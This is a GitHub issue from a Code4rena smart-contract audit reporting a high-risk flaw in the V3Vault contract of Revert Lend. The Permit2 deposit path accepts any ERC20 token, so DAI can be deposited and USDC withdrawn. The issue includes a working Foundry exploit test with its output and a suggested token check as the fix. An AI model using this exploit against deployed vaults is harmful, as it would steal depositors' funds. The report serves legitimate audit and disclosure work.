Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

User can specify any erc20 token deposit into vault #23

Closed
c4-bot-5 opened this issue Mar 8, 2024 · 3 comments
Closed

User can specify any erc20 token deposit into vault #23

c4-bot-5 opened this issue Mar 8, 2024 · 3 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-368 🤖_23_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality

Comments

@c4-bot-5
Copy link
Contributor

c4-bot-5 commented Mar 8, 2024

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L384-L387
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L893-L898

Vulnerability details

Impact

User can specify any erc20 token deposit into the vault and borrow target vault asset. assume the erc20 token in vault is USDC, user can deposit DAI into vault and borrow USDC. NOTE that USDC is 6 decimals and DAI is 18 decimals. Result in vault lost of funds.

Proof of Concept

User can use permitData interact with permit2 contract to send token to vault
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L893-L898

if (permitData.length > 0) {
    (ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
        abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
    permit2.permitTransferFrom(
        permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
);

then user get a certain vault shares depending on the amount.
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L885-L891

if (isShare) {
            shares = amount;
            assets = _convertToAssets(shares, newLendExchangeRateX96, Math.Rounding.Up);
        } else {
            assets = amount;
        @>  shares = _convertToShares(assets, newLendExchangeRateX96, Math.Rounding.Down);
}

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L904

    _mint(receiver, shares);

However user can specify any erc20 token protocol doesn't check the erc20 token

Here is my test add to V3Vault.t.sol:

  • bob deposit 10e6 USDC
  • alice deposit 2e6 DAI
  • alice borrow 8e6 USDC
    function testDepositToVaultCanBeAnyToken() external {
        uint256 amount = 2e6;
        uint256 privateKey = 123;
        address alice = vm.addr(privateKey);
        address bob = vm.addr(456);

        //set bob 10e6 USDC.
        deal(address(USDC),bob,10e6);

        vm.prank(alice);
        DAI.approve(PERMIT2, type(uint256).max);

        //set alice 2e6 DAI.
        deal(address(DAI),alice,amount);

        //first bob deposit some USDC.
        vm.prank(bob);
        USDC.approve(address(vault),type(uint256).max);
        vm.prank(bob);
        vault.deposit(10e6,bob);

        assertEq(USDC.balanceOf(address(vault)),10e6);
        console2.log("vault USDC bal after bob deposit:",USDC.balanceOf(address(vault)));

        vm.prank(alice);
        DAI.approve(PERMIT2, type(uint256).max);

        ISignatureTransfer.PermitTransferFrom memory tf = ISignatureTransfer.PermitTransferFrom(
            ISignatureTransfer.TokenPermissions(address(DAI), amount), 1, block.timestamp
        );
        bytes memory signature = _getPermitTransferFromSignature(tf, privateKey, address(vault));
        bytes memory permitData = abi.encode(tf, signature);

        assertEq(vault.lendInfo(alice), 0);

        vm.prank(address(alice));
        vault.deposit(amount,alice,permitData);
        console2.log("vault DAI bal after alice deposit:",DAI.balanceOf(address(vault)));

        uint256 max = vault.maxWithdraw(alice);
        vm.prank(address(alice));
        vault.withdraw(max, alice, alice);

        console2.log("alice USDC bal:",USDC.balanceOf(alice));
        console2.log("vault USDC bal:",USDC.balanceOf(address(vault)));
    }

output:

[PASS] testDepositToVaultCanBeAnyToken() (gas: 584675)
Logs:
  vault USDC bal after bob deposit: 10000000
  vault DAI bal after alice deposit: 2000000
  alice USDC bal: 2000000
  vault USDC bal: 8000000

Tools Used

Foundry

Recommended Mitigation Steps

@@ -893,6 +896,7 @@ contract V3Vault is ERC20, Multicall, Ownable, IVault, IERC721Receiver, IErrors
         if (permitData.length > 0) {
             (ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
                 abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
+            require(permit.permitted.token == asset,"not support erc20 token");
             permit2.permitTransferFrom(
                 permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
             );
@@ -904,11 +908,13 @@ contract V3Vault is ERC20, Multicall, Ownable, IVault, IERC721Receiver, IErrors
         _mint(receiver, shares);

Assessed type

ERC20

@c4-bot-5 c4-bot-5 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Mar 8, 2024
c4-bot-3 added a commit that referenced this issue Mar 8, 2024
@c4-bot-12 c4-bot-12 added the 🤖_23_group AI based duplicate group recommendation label Mar 15, 2024
@c4-pre-sort
Copy link

0xEVom marked the issue as duplicate of #368

@c4-pre-sort
Copy link

0xEVom marked the issue as sufficient quality report

@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Mar 22, 2024
@c4-judge
Copy link

jhsagd76 marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Mar 31, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-368 🤖_23_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

4 participants